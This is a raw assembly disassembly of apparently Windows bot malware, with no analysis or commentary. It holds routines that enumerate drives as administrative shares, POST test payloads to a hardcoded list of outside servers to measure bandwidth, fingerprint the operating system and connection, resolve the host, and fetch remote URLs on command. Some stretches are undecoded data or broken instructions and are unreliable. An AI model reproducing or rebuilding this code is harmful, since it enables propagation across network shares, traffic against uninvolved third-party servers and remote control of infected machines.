loc_41ABF9: ; CODE XREF: sub_41AA26+1B7j
lea eax, [ebp+var_220]
push eax
call sub_4157A6
add esi, 8
pop ecx
cmp esi, offset off_441C80
jl short loc_41ABAA
call near ptr 0B40000h
inc ebx
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41ACE0
loc_41AC24: ; CODE XREF: sub_41AA26+2B4j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41ACD5
cmp bl, 41h
jz loc_41ACD5
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C030
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41C030
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4D1250 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41ACD5
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_419464
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41AC93
push offset dword_441F70
jmp short loc_41AC98
; ---------------------------------------------------------------------------
loc_41AC93: ; CODE XREF: sub_41AA26+264j
push offset dword_441F48
loc_41AC98: ; CODE XREF: sub_41AA26+26Bj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C030
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41ACC8
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41ACC8: ; CODE XREF: sub_41AA26+286j
lea eax, [ebp+var_220]
push eax
call sub_4157A6
pop ecx
loc_41ACD5: ; CODE XREF: sub_41AA26+206j
; sub_41AA26+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41AC24
loc_41ACE0: ; CODE XREF: sub_41AA26+1F8j
lea eax, [ebp+var_220]
push offset dword_441F18
push eax
call sub_41BF36
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41AD0B
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41AA26+173j
lea eax, [ebp+var_220]
push offset dword_441CB0
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41AD0B: ; CODE XREF: sub_41AA26+2D0j
cmp [ebp+arg_C], ebx
jnz short loc_41AD29
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_41AD29: ; CODE XREF: sub_41AA26+2E8j
lea eax, [ebp+var_220]
push eax
call sub_4157A6
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41AA26 endp
; ---------------------------------------------------------------------------
loc_41AD3D: ; CODE XREF: .nsp0:0041AD59j
push 1
push 0
push 0
push 0
call sub_41A702
add esp, 10h
push dword_441C68
call dword_427064 ; Sleep
jmp short loc_41AD3D
; =============== S U B R O U T I N E =======================================
sub_41AD5B proc near ; CODE XREF: sub_41AF50+CBp
; sub_41AF50+DDp ...
arg_0 = dword ptr 4
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
call sub_41BF92
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AD5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AD75 proc near ; CODE XREF: sub_41AF50+D4p
; sub_41AF50+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B890
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41AF4C
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BC40
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40AA54
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41AF4C
push 50h
call dword_4D11F0 ; ntohs
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4D1270 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41AF4C
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4D1198 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41AF4C
push 32003h
call sub_41D665
mov edi, dword_4270A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; dword_4270A8
push eax
call sub_41BF88
call sub_41BF92
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BC40
push 32000h
push esi
push ebx
call sub_41BC40
push ebx
call sub_41B890
push 323EAh
mov ebx, eax
call sub_41D665
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41BF36
push [ebp+var_8]
push esi
call sub_41C560
push offset asc_43BB50 ; "\r\n"
push esi
call sub_41C560
add esp, 40h
push esi
call sub_41B890
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; dword_4270A8
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AECC
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AE9C
; ---------------------------------------------------------------------------
loc_41AE99: ; CODE XREF: sub_41AD75+155j
mov eax, [ebp+arg_0]
loc_41AE9C: ; CODE XREF: sub_41AD75+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AEAC
push [ebp+var_C]
jmp short loc_41AEAD
; ---------------------------------------------------------------------------
loc_41AEAC: ; CODE XREF: sub_41AD75+130j
push ebx
loc_41AEAD: ; CODE XREF: sub_41AD75+135j
add eax, esi
push eax
push [ebp+var_4]
call dword_4D1240 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41AF33
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AE99
loc_41AECC: ; CODE XREF: sub_41AD75+118j
call edi ; dword_4270A8
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_427714
fst [ebp+arg_0]
fcomp flt_427710
fnstsw ax
sahf
jnz short loc_41AEF4
fld1
fstp [ebp+arg_0]
loc_41AEF4: ; CODE XREF: sub_41AD75+178j
push [ebp+var_4]
call dword_4D1288 ; closesocket
push [ebp+var_8]
call sub_41B961
push esi
call sub_41B961
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_42770C
fmul flt_427708
call sub_41CE38
loc_41AF2E: ; CODE XREF: sub_41AD75+1D9j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41AF33: ; CODE XREF: sub_41AD75+147j
push [ebp+var_4]
call dword_4D1288 ; closesocket
push [ebp+var_8]
call sub_41B961
push esi
call sub_41B961
pop ecx
pop ecx
loc_41AF4C: ; CODE XREF: sub_41AD75+19j
; sub_41AD75+42j ...
xor eax, eax
jmp short loc_41AF2E
sub_41AD75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF50 proc near ; CODE XREF: .nsp0:00404958p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AD5B
push [ebp+eax*4+var_3C]
call sub_41AD75
push 8
mov esi, eax
call sub_41AD5B
push [ebp+eax*4+var_3C]
call sub_41AD75
add esp, 10h
test esi, esi
jz short loc_41B051
test eax, eax
jz short loc_41B04D
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41B053
; ---------------------------------------------------------------------------
loc_41B04D: ; CODE XREF: sub_41AF50+F4j
mov ebx, esi
jmp short loc_41B053
; ---------------------------------------------------------------------------
loc_41B051: ; CODE XREF: sub_41AF50+F0j
mov ebx, eax
loc_41B053: ; CODE XREF: sub_41AF50+FBj
; sub_41AF50+FFj
push 0Ch
call sub_41AD5B
push [ebp+eax*4+var_6C]
call sub_41AD75
push 0Ch
mov edi, eax
call sub_41AD5B
push [ebp+eax*4+var_6C]
call sub_41AD75
add esp, 10h
test edi, edi
jz short loc_41B08B
test eax, eax
jz short loc_41B087
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41B08D
; ---------------------------------------------------------------------------
loc_41B087: ; CODE XREF: sub_41AF50+12Ej
mov esi, edi
jmp short loc_41B08D
; ---------------------------------------------------------------------------
loc_41B08B: ; CODE XREF: sub_41AF50+12Aj
mov esi, eax
loc_41B08D: ; CODE XREF: sub_41AF50+135j
; sub_41AF50+139j
push 6
call sub_41AD5B
push [ebp+eax*4+var_1C]
call sub_41AD75
push 6
mov edi, eax
call sub_41AD5B
push [ebp+eax*4+var_1C]
call sub_41AD75
add esp, 10h
test edi, edi
jz short loc_41B0C5
test eax, eax
jz short loc_41B0C1
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41B0C7
; ---------------------------------------------------------------------------
loc_41B0C1: ; CODE XREF: sub_41AF50+168j
mov ecx, edi
jmp short loc_41B0C7
; ---------------------------------------------------------------------------
loc_41B0C5: ; CODE XREF: sub_41AF50+164j
mov ecx, eax
loc_41B0C7: ; CODE XREF: sub_41AF50+16Fj
; sub_41AF50+173j
xor eax, eax
test ebx, ebx
jz short loc_41B0D4
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41B0D7
; ---------------------------------------------------------------------------
loc_41B0D4: ; CODE XREF: sub_41AF50+17Bj
push 2
pop edi
loc_41B0D7: ; CODE XREF: sub_41AF50+182j
test esi, esi
jz short loc_41B0DF
add eax, esi
jmp short loc_41B0E0
; ---------------------------------------------------------------------------
loc_41B0DF: ; CODE XREF: sub_41AF50+189j
dec edi
loc_41B0E0: ; CODE XREF: sub_41AF50+18Dj
test ecx, ecx
jz short loc_41B0E8
add eax, ecx
jmp short loc_41B0E9
; ---------------------------------------------------------------------------
loc_41B0E8: ; CODE XREF: sub_41AF50+192j
dec edi
loc_41B0E9: ; CODE XREF: sub_41AF50+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_4420B8
push eax
call sub_41BF36
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4099D2
lea eax, [ebp+var_26C]
push eax
call sub_4157A6
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF50 endp
; =============== S U B R O U T I N E =======================================
sub_41B12D proc near ; CODE XREF: .nsp0:00404068p
; .nsp0:004044DDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_4270A8 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4E14C0
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C030
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41B12D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B196 proc near ; CODE XREF: sub_417517+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_4270C8 ; GetVersionExA
test eax, eax
jz short loc_41B229
cmp [ebp+var_90], 4
jnz short loc_41B1FF
cmp [ebp+var_8C], esi
jnz short loc_41B1E7
cmp [ebp+var_84], 1
jnz short loc_41B1DA
push 1
pop esi
loc_41B1DA: ; CODE XREF: sub_41B196+3Fj
cmp [ebp+var_84], 2
jnz short loc_41B229
push 1
jmp short loc_41B228
; ---------------------------------------------------------------------------
loc_41B1E7: ; CODE XREF: sub_41B196+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41B1F4
loc_41B1F0: ; CODE XREF: sub_41B196+78j
push 2
jmp short loc_41B228
; ---------------------------------------------------------------------------
loc_41B1F4: ; CODE XREF: sub_41B196+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41B229
jmp short loc_41B219
; ---------------------------------------------------------------------------
loc_41B1FF: ; CODE XREF: sub_41B196+2Ej
cmp [ebp+var_90], 5
jnz short loc_41B229
cmp [ebp+var_8C], esi
jz short loc_41B1F0
cmp [ebp+var_8C], 1
jnz short loc_41B21D
loc_41B219: ; CODE XREF: sub_41B196+67j
push 3
jmp short loc_41B228
; ---------------------------------------------------------------------------
loc_41B21D: ; CODE XREF: sub_41B196+81j
cmp [ebp+var_8C], 2
jnz short loc_41B229
push 7
loc_41B228: ; CODE XREF: sub_41B196+4Fj
; sub_41B196+5Cj ...
pop esi
loc_41B229: ; CODE XREF: sub_41B196+25j
; sub_41B196+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41B196 endp
; ---------------------------------------------------------------------------
dw 5653h
dd 4240BE57h, 310F000Fh, 3E868h, 8BFA8B00h, 6415FFD8h
dd 0F004270h, 6AC32B31h, 56D71B00h, 89E85052h, 8B000028h
dd 85D88BFAh, 72D777FFh, 77DE3B04h, 6A006AD1h, 0E8535764h
dd 28E0h, 646ACA8Bh, 0F08BD233h, 7758C985h, 8305725Bh
dd 57350FEh, 0D2334B6Ah, 77C98558h, 8305724Bh, 57347FEh
dd 0D233426Ah, 77C98558h, 8305723Bh, 57337FEh, 0D233326Ah
dd 77C98558h, 8305722Bh, 57326FEh, 0D233216Ah, 77C98558h
dd 8305721Bh, 5731EFEh, 0D233196Ah, 77C98558h, 8305720Bh
dd 4730AFEh, 0D233C033h, 0D11BC62Bh, 0D713C303h, 0C35B5E5Fh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B2E4 proc near ; CODE XREF: .nsp0:0040423Ep
var_1137B = byte ptr -1137Bh
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_443398
mov [ebp+var_CC], 94h
call dword_4270C8 ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B36B
cmp [ebp+var_C4], ebx
jnz short loc_41B347
cmp [ebp+var_BC], 1
jnz short loc_41B331
mov [ebp+var_4], offset a95 ; "95"
loc_41B331: ; CODE XREF: sub_41B2E4+44j
cmp [ebp+var_BC], 2
jnz loc_41B3E6
mov [ebp+var_4], offset aNt_0 ; "NT"
jmp short loc_41B3B7
; ---------------------------------------------------------------------------
loc_41B347: ; CODE XREF: sub_41B2E4+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B359
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_41B3AE
; ---------------------------------------------------------------------------
loc_41B359: ; CODE XREF: sub_41B2E4+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B3A7
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_41B3AE
; ---------------------------------------------------------------------------
loc_41B36B: ; CODE XREF: sub_41B2E4+33j
cmp [ebp+var_C8], 5
jnz short loc_41B3A7
cmp [ebp+var_C4], ebx
jnz short loc_41B385
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_41B3AE
; ---------------------------------------------------------------------------
loc_41B385: ; CODE XREF: sub_41B2E4+96j
cmp [ebp+var_C4], 1
jnz short loc_41B397
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_41B3AE
; ---------------------------------------------------------------------------
loc_41B397: ; CODE XREF: sub_41B2E4+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B3AE
loc_41B3A7: ; CODE XREF: sub_41B2E4+7Cj
; sub_41B2E4+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_41B3AE: ; CODE XREF: sub_41B2E4+73j
; sub_41B2E4+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B3E6
loc_41B3B7: ; CODE XREF: sub_41B2E4+61j
cmp [ebp+var_B8], bl
jz short loc_41B3E6
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_2 ; "%s (%s)"
push eax
call sub_41BF36
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B3E6: ; CODE XREF: sub_41B2E4+54j
; sub_41B2E4+D1j ...
mov ax, word_43FB1C
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4D10D0
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B41F
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; dword_4D10D0
loc_41B41F: ; CODE XREF: sub_41B2E4+12Cj
push [ebp+arg_4]
call sub_40AB6A
pop ecx
push eax
call dword_4D1230 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4D11A8 ; gethostbyaddr
cmp eax, ebx
jz short loc_41B448
push dword ptr [eax]
jmp short loc_41B44D
; ---------------------------------------------------------------------------
loc_41B448: ; CODE XREF: sub_41B2E4+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B44D: ; CODE XREF: sub_41B2E4+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41BF36
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 0B40000h
cmp cl, [ebp+var_1137B]
jmp fword ptr [edx+46h]
sub_41B2E4 endp
; ---------------------------------------------------------------------------
db 50h, 68h, 0ACh
dd 53004423h, 409BEh, 0E8565300h, 724B78h, 0A4858DDDh
dd 6AFFFFFEh, 28685046h, 530043BDh, 61E85653h, 3300724Bh
dd 458D206Ah, 0E85053C8h, 794h, 8D0CC483h, 0E850C845h
dd 724B48h, 8D5353EBh, 5053E845h, 0FB18858Dh, 0E850FFFFh
dd 0BB5h, 50E8458Dh, 0F818858Dh, 0E850FFFFh, 0FFFFBB5Fh
dd 0F08B606Ah, 18BD8D59h, 0F3FFFFF8h, 8D606AA5h, 0FFF818B5h
dd 0BD8D59FFh, 0FFFFF998h, 0E853A5F3h, 0FFFFFC2Dh, 5020C483h
dd 0FEA4858Dh, 8D50FFFFh, 0FFFEEC85h, 858D50FFh, 0FFFFFDA4h
dd 0C75FF50h, 0FEF649E8h, 8D5059FFh, 0FFFC1C85h, 858D50FFh
dd 0FFFFFB18h, 18858D50h, 0FFFFFFFAh, 0FFFF40B5h, 3CB5FFFFh
dd 0FFFFFFFFh, 0FFFF38B5h, 0FC75FFFFh, 98858D50h, 50FFFFFAh
dd 0C1D4458Bh, 50530AE8h, 0FFB9CAE8h, 505959FFh, 0C1D0458Bh
dd 50530AE8h, 0FFB9BAE8h, 505959FFh, 0FFFCB5E8h, 685052FFh
dd 4422D0h, 20068h, 875FF00h, 0AA3E8h, 8458B00h, 5F50C483h
dd 0C3C95B5Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B598 proc near ; CODE XREF: .nsp0:0040426Cp
; .nsp0:00408D02p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BC40
add esp, 0Ch
cmp dword_4D12D8, 0
jnz short loc_41B60C
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4D10B4 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_41B5ED
lea eax, [ebp+var_8C]
push offset dword_44242C
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41B5ED: ; CODE XREF: sub_41B598+40j
test [ebp+var_C], 1
jz short loc_41B605
push offset dword_442424
loc_41B5F8: ; CODE XREF: sub_41B598+72j
lea eax, [ebp+var_8]
push eax
call sub_41BF36
pop ecx
pop ecx
jmp short loc_41B62B
; ---------------------------------------------------------------------------
loc_41B605: ; CODE XREF: sub_41B598+59j
push offset off_442420
jmp short loc_41B5F8
; ---------------------------------------------------------------------------
loc_41B60C: ; CODE XREF: sub_41B598+28j
mov esi, offset off_44241C
lea eax, [ebp+var_8]
push esi
push eax
call sub_41BF36
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41BF36
add esp, 10h
loc_41B62B: ; CODE XREF: sub_41B598+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AB6A
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_4423D8
push 200h
push [ebp+arg_0]
call sub_41C030
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B598 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B65E proc near ; DATA XREF: .nsp0:00409154o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_44250C
call sub_41BC40
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BC40
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BC40
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BC40
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BC40
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4D10EC ; InternetCrackUrlA
test eax, eax
jz loc_41B7F8
cmp [ebp+var_34], ebx
jbe short loc_41B735
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BCA0
add esp, 0Ch
loc_41B735: ; CODE XREF: sub_41B65E+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B753
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BCA0
add esp, 0Ch
loc_41B753: ; CODE XREF: sub_41B65E+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B76D
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BCA0
add esp, 0Ch
loc_41B76D: ; CODE XREF: sub_41B65E+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B787
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BCA0
add esp, 0Ch
loc_41B787: ; CODE XREF: sub_41B65E+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4D11A0
call dword_4D11C4 ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_41B810
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4D11B8 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B817
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4D1164 ; HttpSendRequestA
test eax, eax
jz short loc_41B7F1
push offset dword_4424F0
jmp short loc_41B81C
; ---------------------------------------------------------------------------
loc_41B7F1: ; CODE XREF: sub_41B65E+18Aj
push offset unk_4424B4
jmp short loc_41B81C
; ---------------------------------------------------------------------------
loc_41B7F8: ; CODE XREF: sub_41B65E+B7j
lea eax, [ebp+var_55C]
push offset dword_442498
push eax
call sub_41BF36
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B82A
; ---------------------------------------------------------------------------
loc_41B810: ; CODE XREF: sub_41B65E+153j
push offset unk_44246C
jmp short loc_41B81C
; ---------------------------------------------------------------------------
loc_41B817: ; CODE XREF: sub_41B65E+17Bj
push offset unk_44243C
loc_41B81C: ; CODE XREF: sub_41B65E+191j
; sub_41B65E+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_41B82A: ; CODE XREF: sub_41B65E+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B855
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_4099D2
add esp, 14h
loc_41B855: ; CODE XREF: sub_41B65E+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_4157A6
pop ecx
push esi
